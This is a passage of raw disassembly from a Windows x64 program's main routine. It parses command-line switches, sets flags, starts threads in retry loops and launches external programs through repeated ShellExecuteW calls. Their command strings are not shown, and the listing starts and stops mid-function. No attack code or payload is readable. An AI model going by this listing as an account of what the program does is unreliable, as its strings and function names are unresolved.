0045201bcall fn_4307b0
00452020test al, al
00452022je 0x452052
00452024lea rcx, [rbp+336]
0045202bmov edx, [rip+0x1e77b]
00452031add edx, 1
00452034call fn_405df0
00452039mov rcx, [rbp+336]
00452040call fn_4228a0
00452045mov rcx, [rip+0x11f74]
0045204cmov [rcx+144], eax
00452052
00452052loc_452052:
00452052add [rip+0x1e753], 2
00452059jmp 0x4524d7
0045205e
0045205eloc_45205e:
0045205elea rcx, [rbp+328]
00452065mov edx, [rip+0x1e741]
0045206bcall fn_405df0
00452070mov rcx, [rbp+328]
00452077lea rdx, [rip+5402]
0045207ecall fn_40dc90
00452083test eax, eax
00452085jne 0x452093
00452087add [rip+0x1e71e], 2
0045208ejmp 0x4524d7
00452093
00452093loc_452093:
00452093lea rcx, [rbp+320]
0045209amov edx, [rip+0x1e70c]
004520a0call fn_405df0
004520a5mov rcx, [rbp+320]
004520aclea rdx, [rip+5377]
004520b3call fn_40dc90
004520b8test eax, eax
004520bajne 0x4520c8
004520bcadd [rip+0x1e6e9], 1
004520c3jmp 0x4524d7
004520c8
004520c8loc_4520c8:
004520c8lea rcx, [rbp+312]
004520cfmov edx, [rip+0x1e6d7]
004520d5call fn_405df0
004520damov rcx, [rbp+312]
004520e1lea rdx, [rip+5352]
004520e8call fn_40dc90
004520edtest eax, eax
004520efjne 0x45210b
004520f1mov rax, [rip+0x11ec8]
004520f8mov [rax+310], 0
004520ffadd [rip+0x1e6a6], 1
00452106jmp 0x4524d7
0045210b
0045210bloc_45210b:
0045210blea rcx, [rbp+304]
00452112mov edx, [rip+0x1e694]
00452118call fn_405df0
0045211dmov rcx, [rbp+304]
00452124lea rdx, [rip+5325]
0045212bcall fn_40dc90
00452130test eax, eax
00452132jne 0x45214e
00452134mov rax, [rip+0x11e85]
0045213bmov [rax+301], 1
00452142add [rip+0x1e663], 1
00452149jmp 0x4524d7
0045214e
0045214eloc_45214e:
0045214elea rcx, [rbp+296]
00452155mov edx, [rip+0x1e651]
0045215bcall fn_405df0
00452160mov rcx, [rbp+296]
00452167lea rdx, [rip+5286]
0045216ecall fn_40dc90
00452173test eax, eax
00452175jne 0x452191
00452177mov rax, [rip+0x11e42]
0045217emov [rax+303], 1
00452185add [rip+0x1e620], 1
0045218cjmp 0x4524d7
00452191
00452191loc_452191:
00452191lea rcx, [rbp+288]
00452198mov edx, [rip+0x1e60e]
0045219ecall fn_405df0
004521a3mov rcx, [rbp+288]
004521aalea rdx, [rip+5239]
004521b1call fn_40dc90
004521b6test eax, eax
004521b8jne 0x4521e2
004521bamov rax, [rip+0x11dff]
004521c1mov [rax+305], 1
004521c8mov rax, [rip+0x11df1]
004521cfmov [rax+306], 0
004521d6add [rip+0x1e5cf], 1
004521ddjmp 0x4524d7
004521e2
004521e2loc_4521e2:
004521e2lea rcx, [rbp+280]
004521e9mov edx, [rip+0x1e5bd]
004521efcall fn_405df0
004521f4mov rcx, [rbp+280]
004521fblea rdx, [rip+5182]
00452202call fn_40dc90
00452207test eax, eax
00452209jne 0x452233
0045220bmov rax, [rip+0x11dae]
00452212mov [rax+305], 0
00452219mov rax, [rip+0x11da0]
00452220mov [rax+306], 1
00452227add [rip+0x1e57e], 1
0045222ejmp 0x4524d7
00452233
00452233loc_452233:
00452233lea rcx, [rbp+272]
0045223amov edx, [rip+0x1e56c]
00452240call fn_405df0
00452245mov rcx, [rbp+272]
0045224clea rdx, [rip+5125]
00452253call fn_40dc90
00452258test eax, eax
0045225ajne 0x452276
0045225cmov rax, [rip+0x11d5d]
00452263mov [rax+307], 1
0045226aadd [rip+0x1e53b], 1
00452271jmp 0x4524d7
00452276
00452276loc_452276:
00452276lea rcx, [rbp+264]
0045227dmov edx, [rip+0x1e529]
00452283call fn_405df0
00452288mov rcx, [rbp+264]
0045228flea rdx, [rip+5086]
00452296call fn_40dc90
0045229btest eax, eax
0045229djne 0x4522b9
0045229fmov rax, [rip+0x11d1a]
004522a6mov [rax+320], 1
004522adadd [rip+0x1e4f8], 1
004522b4jmp 0x4524d7
004522b9
004522b9loc_4522b9:
004522b9lea rcx, [rbp+256]
004522c0mov edx, [rip+0x1e4e6]
004522c6call fn_405df0
004522cbmov rcx, [rbp+256]
004522d2lea rdx, [rip+5055]
004522d9call fn_40dc90
004522detest eax, eax
004522e0jne 0x452343
004522e2mov rax, [rip+0x11cd7]
004522e9cmp [rax+320], 0
004522f0je 0x452337
004522f2lea rcx, [rbp+248]
004522f9mov edx, [rip+0x1e4ad]
004522ffadd edx, 1
00452302call fn_405df0
00452307lea rcx, [rbp+240]
0045230emov rdx, [rbp+248]
00452315xor r8, r8
00452318call fn_40cff0
0045231dmov rcx, [rbp+240]
00452324mov rax, [rip+0x11c95]
0045232blea rdx, [rax+128]
00452332call fn_430db0
00452337
00452337loc_452337:
00452337add [rip+0x1e46e], 2
0045233ejmp 0x4524d7
00452343
00452343loc_452343:
00452343lea rcx, [rbp+232]
0045234amov edx, [rip+0x1e45c]
00452350call fn_405df0
00452355mov rcx, [rbp+232]
0045235clea rdx, [rip+4949]
00452363call fn_40dc90
00452368test eax, eax
0045236ajne 0x4523ca
0045236cmov rax, [rip+0x11c4d]
00452373cmp [rax+320], 0
0045237aje 0x4523be
0045237clea rcx, [rbp+224]
00452383mov edx, [rip+0x1e423]
00452389add edx, 1
0045238ccall fn_405df0
00452391lea rcx, [rbp+216]
00452398mov rdx, [rbp+224]
0045239fxor r8, r8
004523a2call fn_40cff0
004523a7mov rcx, [rbp+216]
004523aemov rax, [rip+0x11c0b]
004523b5lea rdx, [rax+40]
004523b9call fn_430db0
004523be
004523beloc_4523be:
004523beadd [rip+0x1e3e7], 2
004523c5jmp 0x4524d7
004523ca
004523caloc_4523ca:
004523calea rcx, [rbp+208]
004523d1mov edx, [rip+0x1e3d5]
004523d7call fn_405df0
004523dcmov rcx, [rbp+208]
004523e3lea rdx, [rip+4846]
004523eacall fn_40dc90
004523eftest eax, eax
004523f1je 0x45241c
004523f3lea rcx, [rbp+200]
004523famov edx, [rip+0x1e3ac]
00452400call fn_405df0
00452405mov rcx, [rbp+200]
0045240clea rdx, [rip+4825]
00452413call fn_40dc90
00452418test eax, eax
0045241ajne 0x452450
0045241c
0045241cloc_45241c:
0045241clea rcx, [rbp+192]
00452423mov edx, [rip+0x1e383]
00452429add edx, 1
0045242ccall fn_405df0
00452431mov rcx, [rip+0x11a70]
00452438mov rdx, [rbp+192]
0045243fcall fn_40d850
00452444add [rip+0x1e361], 2
0045244bjmp 0x4524d7
00452450
00452450loc_452450:
00452450lea rcx, [rbp+184]
00452457mov edx, [rip+0x1e34f]
0045245dcall fn_405df0
00452462mov rcx, [rbp+184]
00452469lea rdx, [rip+4756]
00452470call fn_40dc90
00452475test eax, eax
00452477jne 0x452490
00452479mov rax, [rip+0x11b40]
00452480mov [rax+299], 1
00452487add [rip+0x1e31e], 1
0045248ejmp 0x4524d7
00452490
00452490loc_452490:
00452490lea rcx, [rbp+176]
00452497mov edx, [rip+0x1e30f]
0045249dcall fn_405df0
004524a2mov rcx, [rbp+176]
004524a9lea rdx, [rip+4720]
004524b0call fn_40dc90
004524b5test eax, eax
004524b7jne 0x4524d0
004524b9mov rax, [rip+0x11b00]
004524c0mov [rax+300], 1
004524c7add [rip+0x1e2de], 1
004524cejmp 0x4524d7
004524d0
004524d0loc_4524d0:
004524d0add [rip+0x1e2d5], 1
004524d7
004524d7loc_4524d7:
004524d7call fn_405d70
004524dccmp [rip+0x1e2ca], eax
004524e2jle 0x451ad7
004524e8mov rax, [rip+0x11ad1]
004524efcmp [rax+321], 0
004524f6je 0x452517
004524f8mov rax, [rip+0x119a9]
004524ffmov rcx, [rax]
00452502xor edx, edx
00452504call fn_40d640
00452509test eax, eax
0045250bjne 0x452517
0045250dcall fn_451420
00452512jmp 0x4530dc
00452517
00452517loc_452517:
00452517mov rax, [rip+0x11aa2]
0045251ecmp [rax+308], 0
00452525je 0x45256e
00452527mov rax, [rip+0x1197a]
0045252emov rcx, [rax]
00452531xor edx, edx
00452533call fn_40d640
00452538test eax, eax
0045253ajne 0x45256e
0045253clea rcx, [rip+4597]
00452543xor edx, edx
00452545call fn_439060
0045254alea rcx, [rip+4743]
00452551xor edx, edx
00452553call fn_439060
00452558mov rcx, [rip+0x11b51]
0045255fcall fn_4078c0
00452564call fn_405a40
00452569jmp 0x4530dc
0045256e
0045256eloc_45256e:
0045256emov rax, [rip+0x11a4b]
00452575lea rcx, [rax+64]
00452579call fn_448720
0045257emov rax, [rip+0x11a3b]
00452585lea rcx, [rax+64]
00452589call fn_447be0
0045258emov rax, [rip+0x11a2b]
00452595lea rcx, [rax+64]
00452599call fn_447fa0
0045259emov rax, [rip+0x11a1b]
004525a5mov eax, [rax+144]
004525abtest eax, eax
004525adje 0x45261e
004525afmov rcx, [rip+0x11a0a]
004525b6cmp [rcx+308], 0
004525bdje 0x452606
004525bflea rcx, [rbp+160]
004525c6mov edx, eax
004525c8call fn_4225b0
004525cdlea rcx, [rbp+168]
004525d4mov edx, 3
004525d9lea r8, [rip+4668]
004525e0mov r9, [rbp+160]
004525e7lea rax, [rip+4682]
004525eemov [rsp+32], rax
004525f3call fn_40dbb0
004525f8mov rcx, [rbp+168]
004525ffmov dl, 1
00452601call fn_439060
00452606
00452606loc_452606:
00452606mov rax, [rip+0x119b3]
0045260dmov ecx, [rax+144]
00452613imul ecx, ecx, 1000
00452619call Sleep
0045261e
0045261eloc_45261e:
0045261emov rax, [rip+0x1199b]
00452625cmp [rax+308], 0
0045262cje 0x452643
0045262elea rcx, [rip+4671]
00452635mov dl, 1
00452637call fn_439060
0045263cxor ecx, ecx
0045263ecall fn_4392a0
00452643
00452643loc_452643:
00452643mov rax, [rip+0x11976]
0045264amov rax, [rax+128]
00452651test rax, rax
00452654je 0x45265a
00452656mov rax, [rax-8]
0045265a
0045265aloc_45265a:
0045265atest rax, rax
0045265djne 0x452672
0045265fmov rax, [rip+0x1195a]
00452666lea rcx, [rax+128]
0045266dcall fn_432d90
00452672
00452672loc_452672:
00452672mov rax, [rip+0x1182f]
00452679mov rcx, [rax]
0045267cxor edx, edx
0045267ecall fn_40d640
00452683test eax, eax
00452685jne 0x4526c3
00452687lea rcx, [rbp+152]
0045268emov rax, [rip+0x1192b]
00452695lea rdx, [rax+128]
0045269ccall fn_430d40
004526a1mov rax, [rip+0x11918]
004526a8lea rcx, [rax+288]
004526afmov rdx, [rbp+152]
004526b6call fn_430bc0
004526bbtest al, al
004526bdjne 0x4530dc
004526c3
004526c3loc_4526c3:
004526c3mov rax, [rip+0x118f6]
004526cacmp [rax+308], 0
004526d1je 0x4526e1
004526d3lea rcx, [rip+4554]
004526damov dl, 1
004526dccall fn_439060
004526e1
004526e1loc_4526e1:
004526e1call fn_44e2d0
004526e6mov rax, [rip+0x118d3]
004526edcmp [rax+308], 0
004526f4je 0x452714
004526f6xor ecx, ecx
004526f8mov dl, 1
004526facall fn_439060
004526fflea rcx, [rip+4566]
00452706mov dl, 1
00452708call fn_439060
0045270dxor ecx, ecx
0045270fcall fn_4392a0
00452714
00452714loc_452714:
00452714mov rax, [rip+0x118a5]
0045271bcmp [rax+307], 0
00452722jne 0x452729
00452724call fn_440470
00452729
00452729loc_452729:
00452729mov rax, [rip+0x11890]
00452730cmp [rax+308], 0
00452737je 0x45274e
00452739lea rcx, [rip+4600]
00452740mov dl, 1
00452742call fn_439060
00452747xor ecx, ecx
00452749call fn_4392a0
0045274e
0045274eloc_45274e:
0045274emov rax, [rip+0x1186b]
00452755cmp [rax+307], 0
0045275cjne 0x452763
0045275ecall fn_43ae60
00452763
00452763loc_452763:
00452763mov rax, [rip+0x11856]
0045276acmp [rax+307], 0
00452771je 0x452778
00452773call fn_4486b0
00452778
00452778loc_452778:
00452778mov rax, [rip+0x11841]
0045277fmov rax, [rax+72]
00452783cmp [rax+16], 0
00452787je 0x4527c1
00452789jmp 0x452795
0045278b
0045278bloc_45278b:
0045278bmov ecx, 10000
00452790call Sleep
00452795
00452795loc_452795:
00452795xor ecx, ecx
00452797xor edx, edx
00452799lea r8, [rip-9232]
004527a0xor r9, r9
004527a3mov [rsp+32], 0
004527abmov rax, [rip+0x11766]
004527b2mov [rsp+40], rax
004527b7call fn_40bb20
004527bctest rax, rax
004527bfje 0x45278b
004527c1
004527c1loc_4527c1:
004527c1call fn_450980
004527c6mov rax, [rip+0x116db]
004527cdmov rcx, [rax]
004527d0xor edx, edx
004527d2call fn_40d640
004527d7test eax, eax
004527d9je 0x452c07
004527dfmov rax, [rip+0x117da]
004527e6mov [rax+317], 0
004527edmov rax, [rip+0x116b4]
004527f4mov rcx, [rax]
004527f7call fn_42fe80
004527fctest al, al
004527feje 0x452872
00452800mov rax, [rip+0x117b9]
00452807cmp [rax+308], 0
0045280eje 0x45285e
00452810xor ecx, ecx
00452812mov dl, 1
00452814call fn_439060
00452819lea rcx, [rbp+144]
00452820lea rdx, [rip+4413]
00452827mov rax, [rip+0x1167a]
0045282emov r8, [rax]
00452831call fn_40d230
00452836lea rcx, [rbp+136]
0045283dmov rdx, [rbp+144]
00452844call fn_40d820
00452849mov rcx, [rbp+136]
00452850mov dl, 1
00452852call fn_439060
00452857xor ecx, ecx
00452859call fn_4392a0
0045285e
0045285eloc_45285e:
0045285emov rax, [rip+0x11643]
00452865mov rcx, [rax]
00452868call fn_44e970
0045286djmp 0x4529e7
00452872
00452872loc_452872:
00452872mov rax, [rip+0x11747]
00452879cmp [rax+307], 0
00452880jne 0x4528d6
00452882mov rax, [rip+0x11737]
00452889cmp [rax+308], 0
00452890jne 0x4528d6
00452892jmp 0x45289e
00452894
00452894loc_452894:
00452894mov ecx, 10000
00452899call Sleep
0045289e
0045289eloc_45289e:
0045289exor ecx, ecx
004528a0xor edx, edx
004528a2lea r8, [rip-14505]
004528a9xor r9, r9
004528acmov [rsp+32], 0
004528b4mov rax, [rip+0x1165d]
004528bbmov [rsp+40], rax
004528c0call fn_40bb20
004528c5test rax, rax
004528c8je 0x452894
004528camov ecx, 5000
004528cfcall Sleep
004528d4jmp 0x4528e4
004528d6
004528d6loc_4528d6:
004528d6mov rax, [rip+0x116e3]
004528ddmov [rax+317], 1
004528e4
004528e4loc_4528e4:
004528e4mov rax, [rip+0x116d5]
004528ebcmp [rax+308], 0
004528f2je 0x45293c
004528f4xor ecx, ecx
004528f6mov dl, 1
004528f8call fn_439060
004528fdlea rcx, [rbp+128]
00452904lea rdx, [rip+4233]
0045290bmov rax, [rip+0x11596]
00452912mov r8, [rax]
00452915call fn_40d230
0045291alea rcx, [rbp+120]
0045291emov rdx, [rbp+128]
00452925call fn_40d820
0045292amov rcx, [rbp+120]
0045292emov dl, 1
00452930call fn_439060
00452935xor ecx, ecx
00452937call fn_4392a0
0045293c
0045293cloc_45293c:
0045293cmov rax, [rip+0x11565]
00452943mov rcx, [rax]
00452946call fn_44ec90
0045294bjmp 0x452957
0045294d
0045294dloc_45294d:
0045294dmov ecx, 1000
00452952call Sleep
00452957
00452957loc_452957:
00452957mov rax, [rip+0x11662]
0045295ecmp [rax+317], 0
00452965je 0x45294d
00452967mov rax, [rip+0x11652]
0045296ecmp [rax+308], 0
00452975je 0x452995
00452977xor ecx, ecx
00452979mov dl, 1
0045297bcall fn_439060
00452980lea rcx, [rip+4169]
00452987mov dl, 1
00452989call fn_439060
0045298exor ecx, ecx
00452990call fn_4392a0
00452995
00452995loc_452995:
00452995call fn_439260
0045299amov rax, [rip+0x1161f]
004529a1cmp [rax+308], 0
004529a8je 0x4529e7
004529aamov rax, [rip+0x11627]
004529b1cmp [rax+768], 0
004529b8je 0x4529e7
004529balea rcx, [rip+4167]
004529c1xor edx, edx
004529c3call fn_439060
004529c8lea rcx, [rip+3593]
004529cfxor edx, edx
004529d1call fn_439060
004529d6mov rcx, [rip+0x116d3]
004529ddcall fn_4078c0
004529e2call fn_405a40
004529e7
004529e7loc_4529e7:
004529e7mov rax, [rip+0x115d2]
004529eecmp [rax+312], 0
004529f5je 0x452b31
004529fbmov rax, [rip+0x115be]
00452a02cmp [rax+308], 0
00452a09je 0x452a19
00452a0blea rcx, [rip+4130]
00452a12xor edx, edx
00452a14call fn_439060
00452a19
00452a19loc_452a19:
00452a19xor ecx, ecx
00452a1blea rdx, [rip+4154]
00452a22lea r8, [rip+4157]
00452a29lea r9, [rip+4158]
00452a30mov [rsp+32], 0
00452a39mov [rsp+40], 0
00452a41call ShellExecuteW
00452a46xor ecx, ecx
00452a48lea rdx, [rip+4109]
00452a4flea r8, [rip+4112]
00452a56lea r9, [rip+4195]
00452a5dmov [rsp+32], 0
00452a66mov [rsp+40], 0
00452a6ecall ShellExecuteW
00452a73xor ecx, ecx
00452a75lea rdx, [rip+4064]
00452a7clea r8, [rip+4067]
00452a83lea r9, [rip+4258]
00452a8amov [rsp+32], 0
00452a93mov [rsp+40], 0
00452a9bcall ShellExecuteW
00452aa0xor ecx, ecx
00452aa2lea rdx, [rip+4019]
00452aa9lea r8, [rip+4022]
00452ab0lea r9, [rip+4299]
00452ab7mov [rsp+32], 0
00452ac0mov [rsp+40], 0
00452ac8call ShellExecuteW
00452acdxor ecx, ecx
00452acflea rdx, [rip+3974]
00452ad6lea r8, [rip+3977]
00452addlea r9, [rip+4310]
00452ae4mov [rsp+32], 0
00452aedmov [rsp+40], 0
00452af5call ShellExecuteW
00452afaxor ecx, ecx
00452afclea rdx, [rip+3929]
00452b03lea r8, [rip+3932]
00452b0alea r9, [rip+4359]
00452b11mov [rsp+32], 0
00452b1amov [rsp+40], 0
00452b22call ShellExecuteW
00452b27mov ecx, 20000
00452b2ccall Sleep
00452b31
00452b31loc_452b31:
00452b31mov rax, [rip+0x11488]
00452b38cmp [rax+311], 0
00452b3fje 0x452b46
00452b41call fn_44fa30
00452b46
00452b46loc_452b46:
00452b46mov rax, [rip+0x11473]
00452b4dcmp [rax+301], 0
00452b54je 0x452b86
00452b56xor ecx, ecx
00452b58lea rdx, [rip+3837]
00452b5flea r8, [rip+4400]
00452b66lea r9, [rip+4411]
00452b6dlea rax, [rip+4430]
00452b74mov [rsp+32], rax
00452b79mov [rsp+40], 0
00452b81call ShellExecuteW
00452b86
00452b86loc_452b86:
00452b86mov rax, [rip+0x11433]
00452b8dcmp [rax+302], 0
00452b94je 0x452bf8
00452b96lea rcx, [rbp+104]
00452b9axor edx, edx
00452b9ccall fn_405df0
00452ba1lea rcx, [rbp+112]
00452ba5mov edx, 3
00452baalea r8, [rip+4399]
00452bb1mov r9, [rbp+104]
00452bb5lea rax, [rip+4464]
00452bbcmov [rsp+32], rax
00452bc1call fn_40dbb0
00452bc6mov rcx, [rbp+112]
00452bcacall fn_40d710
00452bcfxor ecx, ecx
00452bd1lea rdx, [rip+3716]
00452bd8lea r8, [rip+4325]
00452bdfmov r9, rax
00452be2mov [rsp+32], 0
00452bebmov [rsp+40], 0
00452bf3call ShellExecuteW
00452bf8
00452bf8loc_452bf8:
00452bf8mov rax, [rip+0x11419]
00452bffmov [rax], 0
00452c02jmp 0x4530dc
00452c07
00452c07loc_452c07:
00452c07mov rax, [rip+0x113b2]
00452c0ecmp [rax+307], 0
00452c15je 0x452c9c
00452c1bmov rax, [rip+0x1139e]
00452c22cmp [rax+302], 0
00452c29je 0x452c8d
00452c2blea rcx, [rbp+88]
00452c2fxor edx, edx
00452c31call fn_405df0
00452c36lea rcx, [rbp+96]
00452c3amov edx, 3
00452c3flea r8, [rip+4250]
00452c46mov r9, [rbp+88]
00452c4alea rax, [rip+4315]
00452c51mov [rsp+32], rax
00452c56call fn_40dbb0
00452c5bmov rcx, [rbp+96]
00452c5fcall fn_40d710
00452c64xor ecx, ecx
00452c66lea rdx, [rip+3567]
00452c6dlea r8, [rip+4176]
00452c74mov r9, rax
00452c77mov [rsp+32], 0
00452c80mov [rsp+40], 0
00452c88call ShellExecuteW
00452c8d
00452c8dloc_452c8d:
00452c8dmov rax, [rip+0x11384]
00452c94mov [rax], 0
00452c97jmp 0x4530dc
00452c9c
00452c9cloc_452c9c:
00452c9cmov rax, [rip+0x1131d]
00452ca3cmp [rax+299], 0
00452caaje 0x452cc6
00452cacmov rax, [rip+0x1130d]
00452cb3mov [rax+317], 1
00452cbajmp 0x452cf2
00452cbc
00452cbcloc_452cbc:
00452cbcmov ecx, 10000
00452cc1call Sleep
00452cc6
00452cc6loc_452cc6:
00452cc6xor ecx, ecx
00452cc8xor edx, edx
00452ccalea r8, [rip-27073]
00452cd1xor r9, r9
00452cd4mov [rsp+32], 0
00452cdcmov rax, [rip+0x11235]
00452ce3mov [rsp+40], rax
00452ce8call fn_40bb20
00452cedtest rax, rax
00452cf0je 0x452cbc
00452cf2
00452cf2loc_452cf2:
00452cf2mov ecx, 5000
00452cf7call Sleep
00452cfcmov rax, [rip+0x112bd]
00452d03cmp [rax+299], 0
00452d0aje 0x452d26
00452d0cmov rax, [rip+0x112ad]
00452d13mov [rax+315], 1
00452d1ajmp 0x452d52
00452d1c
00452d1cloc_452d1c:
00452d1cmov ecx, 10000
00452d21call Sleep
00452d26
00452d26loc_452d26:
00452d26xor ecx, ecx
00452d28xor edx, edx
00452d2alea r8, [rip-28177]
00452d31xor r9, r9
00452d34mov [rsp+32], 0
00452d3cmov rax, [rip+0x111d5]
00452d43mov [rsp+40], rax
00452d48call fn_40bb20
00452d4dtest rax, rax
00452d50je 0x452d1c
00452d52
00452d52loc_452d52:
00452d52mov rax, [rip+0x11267]
00452d59cmp [rax+300], 0
00452d60je 0x452d7c
00452d62mov rax, [rip+0x11257]
00452d69mov [rax+319], 1
00452d70jmp 0x452db4
00452d72
00452d72loc_452d72:
00452d72mov ecx, 10000
00452d77call Sleep
00452d7c
00452d7cloc_452d7c:
00452d7cxor ecx, ecx
00452d7exor edx, edx
00452d80lea r8, [rip-17575]
00452d87xor r9, r9
00452d8amov [rsp+32], 0
00452d92mov rax, [rip+0x1117f]
00452d99mov [rsp+40], rax
00452d9ecall fn_40bb20
00452da3test rax, rax
00452da6je 0x452d72
00452da8jmp 0x452db4
00452daa
00452daaloc_452daa:
00452daamov ecx, 10000
00452dafcall Sleep
00452db4
00452db4loc_452db4:
00452db4mov rax, [rip+0x11205]
00452dbbcmp [rax+319], 0
00452dc2je 0x452daa
00452dc4mov rax, [rip+0x111f5]
00452dcbcmp [rax+300], 0
00452dd2je 0x452dee
00452dd4mov rax, [rip+0x111e5]
00452ddbmov [rax+318], 1
00452de2jmp 0x452e1a
00452de4
00452de4loc_452de4:
00452de4mov ecx, 10000
00452de9call Sleep
00452dee
00452deeloc_452dee:
00452deexor ecx, ecx
00452df0xor edx, edx
00452df2lea r8, [rip-18041]
00452df9xor r9, r9
00452dfcmov [rsp+32], 0
00452e04mov rax, [rip+0x1110d]
00452e0bmov [rsp+40], rax
00452e10call fn_40bb20
00452e15test rax, rax
00452e18je 0x452de4
00452e1a
00452e1aloc_452e1a:
00452e1amov ecx, 5000
00452e1fcall Sleep
00452e24mov rax, [rip+0x11195]
00452e2bcmp [rax+300], 0
00452e32je 0x452e4e
00452e34mov rax, [rip+0x11185]
00452e3bmov [rax+316], 1
00452e42jmp 0x452e86
00452e44
00452e44loc_452e44:
00452e44mov ecx, 10000
00452e49call Sleep
00452e4e
00452e4eloc_452e4e:
00452e4exor ecx, ecx
00452e50xor edx, edx
00452e52lea r8, [rip-18905]
00452e59xor r9, r9
00452e5cmov [rsp+32], 0
00452e64mov rax, [rip+0x110ad]
00452e6bmov [rsp+40], rax
00452e70call fn_40bb20
00452e75test rax, rax
00452e78je 0x452e44
00452e7ajmp 0x452e86
00452e7c
00452e7cloc_452e7c:
00452e7cmov ecx, 1000
00452e81call Sleep
00452e86
00452e86loc_452e86:
00452e86mov rax, [rip+0x11133]
00452e8dcmp [rax+315], 0
00452e94je 0x452e7c
00452e96mov rax, [rip+0x11123]
00452e9dcmp [rax+316], 0
00452ea4je 0x452e7c
00452ea6mov rax, [rip+0x11113]
00452eadcmp [rax+317], 0
00452eb4je 0x452e7c
00452eb6mov rax, [rip+0x11103]
00452ebdcmp [rax+318], 0
00452ec4je 0x452e7c
00452ec6call fn_439b10
00452ecbmov rax, [rip+0x110ee]
00452ed2cmp [rax+312], 0
00452ed9je 0x452ff7
00452edfxor ecx, ecx
00452ee1lea rdx, [rip+2932]
00452ee8lea r8, [rip+2935]
00452eeflea r9, [rip+3268]
00452ef6mov [rsp+32], 0
00452effmov [rsp+40], 0
00452f07call ShellExecuteW
00452f0cxor ecx, ecx
00452f0elea rdx, [rip+2887]
00452f15lea r8, [rip+2890]
00452f1clea r9, [rip+3317]
00452f23mov [rsp+32], 0
00452f2cmov [rsp+40], 0
00452f34call ShellExecuteW
00452f39xor ecx, ecx
00452f3blea rdx, [rip+2842]
00452f42lea r8, [rip+2845]
00452f49lea r9, [rip+3036]
00452f50mov [rsp+32], 0
00452f59mov [rsp+40], 0
00452f61call ShellExecuteW
00452f66xor ecx, ecx
00452f68lea rdx, [rip+2797]
00452f6flea r8, [rip+2800]
00452f76lea r9, [rip+2883]
00452f7dmov [rsp+32], 0
00452f86mov [rsp+40], 0
00452f8ecall ShellExecuteW
00452f93xor ecx, ecx
00452f95lea rdx, [rip+2752]
00452f9clea r8, [rip+2755]
00452fa3lea r9, [rip+3032]
00452faamov [rsp+32], 0
00452fb3mov [rsp+40], 0
00452fbbcall ShellExecuteW
00452fc0xor ecx, ecx
00452fc2lea rdx, [rip+2707]
00452fc9lea r8, [rip+2710]
00452fd0lea r9, [rip+2711]
00452fd7mov [rsp+32], 0
00452fe0mov [rsp+40], 0
00452fe8call ShellExecuteW
00452fedmov ecx, 20000
00452ff2call Sleep
00452ff7
00452ff7loc_452ff7:
00452ff7mov rax, [rip+0x10fc2]
00452ffecmp [rax+311], 0
00453005je 0x45300c
00453007call fn_44fa30
0045300c
0045300cloc_45300c:
0045300cmov rax, [rip+0x10fad]
00453013mov rcx, [rax+288]
0045301acall CloseHandle
0045301fmov rax, [rip+0x10f9a]
00453026cmp [rax+301], 0
0045302dje 0x45305f
0045302fxor ecx, ecx
00453031lea rdx, [rip+2596]
00453038lea r8, [rip+3159]
0045303flea r9, [rip+3170]
00453046lea rax, [rip+3189]
0045304dmov [rsp+32], rax
00453052mov [rsp+40], 0
0045305acall ShellExecuteW
0045305f
0045305floc_45305f:
0045305fmov rax, [rip+0x10f5a]
00453066cmp [rax+302], 0
0045306dje 0x4530d1
0045306flea rcx, [rbp+72]
00453073xor edx, edx
00453075call fn_405df0
0045307alea rcx, [rbp+80]
0045307emov edx, 3
00453083lea r8, [rip+3158]
0045308amov r9, [rbp+72]
0045308elea rax, [rip+3223]
00453095mov [rsp+32], rax
0045309acall fn_40dbb0
0045309fmov rcx, [rbp+80]
004530a3call fn_40d710
004530a8xor ecx, ecx
004530aalea rdx, [rip+2475]
004530b1lea r8, [rip+3084]
004530b8mov r9, rax
004530bbmov [rsp+32], 0
004530c4mov [rsp+40], 0
004530cccall ShellExecuteW
004530d1
004530d1loc_4530d1:
004530d1mov rax, [rip+0x10f40]
004530d8mov [rax], 0
004530dbnop
004530dc
004530dcloc_4530dc:
004530dclea rcx, [rbp+72]
004530e0mov edx, 7
004530e5call fn_40bdd0
004530ealea rcx, [rbp+128]
004530f1call fn_40bd90
004530f6lea rcx, [rbp+136]
004530fdcall fn_40bcf0
00453102lea rcx, [rbp+144]
00453109call fn_40bd90
0045310elea rcx, [rbp+152]
00453115call fn_40bd40
0045311alea rcx, [rbp+160]
00453121mov edx, 7
00453126call fn_40bdd0
0045312blea rcx, [rbp+216]
00453132call fn_40bd40
00453137lea rcx, [rbp+224]
0045313emov edx, 2
00453143call fn_40bdd0
00453148lea rcx, [rbp+240]
0045314fcall fn_40bd40
00453154lea rcx, [rbp+248]
0045315bmov edx, 12
00453160call fn_40bdd0
00453165lea rcx, [rbp+344]
0045316ccall fn_40bd40
00453171lea rcx, [rbp+352]
00453178mov edx, 6
0045317dcall fn_40bdd0
00453182lea rcx, [rbp+400]
00453189call fn_40bd90
0045318elea rcx, [rbp+408]
00453195call fn_40bcf0
0045319alea rcx, [rbp+416]
004531a1call fn_40bd40
004531a6lea rcx, [rbp+424]
004531admov edx, 21
004531b2call fn_40bdd0
004531b7call fn_40b880
004531bcjmp 0x4531c6
004531be
004531be 90 90 ..
004531c0 e8 9b 88 fb ff 90 ......
004531c6
004531c6loc_4531c6:
004531c6lea rsp, [rbp+592]
004531cdpop rbp
004531ceret
00451580
00451580Project1:
00451580push rbp
00451581sub rsp, 592
00451588mov rbp, rsp
0045158bmov [rbp+80], 0
00451593mov [rbp+72], 0
0045159bmov [rbp+96], 0
004515a3mov [rbp+88], 0
004515abmov [rbp+112], 0
004515b3mov [rbp+104], 0
004515bbmov [rbp+128], 0
004515c6mov [rbp+120], 0
004515cemov [rbp+144], 0
004515d9mov [rbp+136], 0
004515e4mov [rbp+152], 0
004515efmov [rbp+168], 0
004515famov [rbp+160], 0
00451605mov [rbp+176], 0
00451610mov [rbp+184], 0
0045161bmov [rbp+192], 0
00451626mov [rbp+200], 0
00451631mov [rbp+208], 0
0045163cmov [rbp+224], 0
00451647mov [rbp+216], 0
00451652mov [rbp+232], 0
0045165dmov [rbp+248], 0
00451668mov [rbp+240], 0
00451673mov [rbp+256], 0
0045167emov [rbp+264], 0
00451689mov [rbp+272], 0
00451694mov [rbp+280], 0
0045169fmov [rbp+288], 0
004516aamov [rbp+296], 0
004516b5mov [rbp+304], 0
004516c0mov [rbp+312], 0
004516cbmov [rbp+320], 0
004516d6mov [rbp+328], 0
004516e1mov [rbp+336], 0
004516ecmov [rbp+352], 0
004516f7mov [rbp+344], 0
00451702mov [rbp+360], 0
0045170dmov [rbp+368], 0
00451718mov [rbp+376], 0
00451723mov [rbp+384], 0
